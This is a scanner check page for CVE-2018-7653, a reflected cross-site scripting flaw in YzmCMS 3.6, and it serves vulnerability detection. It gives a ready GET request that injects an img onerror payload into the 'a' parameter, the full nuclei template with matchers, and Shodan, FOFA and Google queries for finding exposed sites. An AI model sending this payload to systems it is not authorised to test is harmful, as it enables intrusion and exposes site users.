YzmCMS v3.6 - Cross-Site Scripting

mediumseverity

6.1CVSS score

7.9%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

In YzmCMS 3.6, index.php has XSS via the a, c, or m parameter.

Impact

Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of authenticated users.

Fix

To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.

How to confirm it

Send: GET {{BaseURL}}/index.php?m=search&c=index&a=initxqb4n<img%20src%3da%20onerror%3dalert(document.domain)>cu9rs&modelid=1&q=tes
Positive when: contains "<img src=a onerror=alert(document.domain)>" and "YzmCMS" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-7653 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-7653

info:
  name: YzmCMS v3.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: In YzmCMS 3.6, index.php has XSS via the a, c, or m parameter.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of authenticated users.
  remediation: |
    To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://packetstormsecurity.com/files/147065/YzmCMS-3.6-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7653
    - https://github.com/ponyma233/YzmCMS/blob/master/YzmCMS_3.6_bug.md
    - https://github.com/anquanquantao/iwantacve
    - https://github.com/5ecurity/CVE-List
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-7653
    cwe-id: CWE-79
    epss-score: 0.07854
    epss-percentile: 0.94737
    cpe: cpe:2.3:a:yzmcms:yzmcms:3.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: yzmcms
    product: yzmcms
    shodan-query:
      - title:"YzmCMS"
      - http.title:"yzmcms"
    fofa-query:
      - title="YzmCMS"
      - title="yzmcms"
    google-query: intitle:"yzmcms"
  tags: cve,cve2018,packetstorm,yzmcms,cms,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?m=search&c=index&a=initxqb4n<img%20src%3da%20onerror%3dalert(document.domain)>cu9rs&modelid=1&q=tes'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=a onerror=alert(document.domain)>'
          - 'YzmCMS'
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from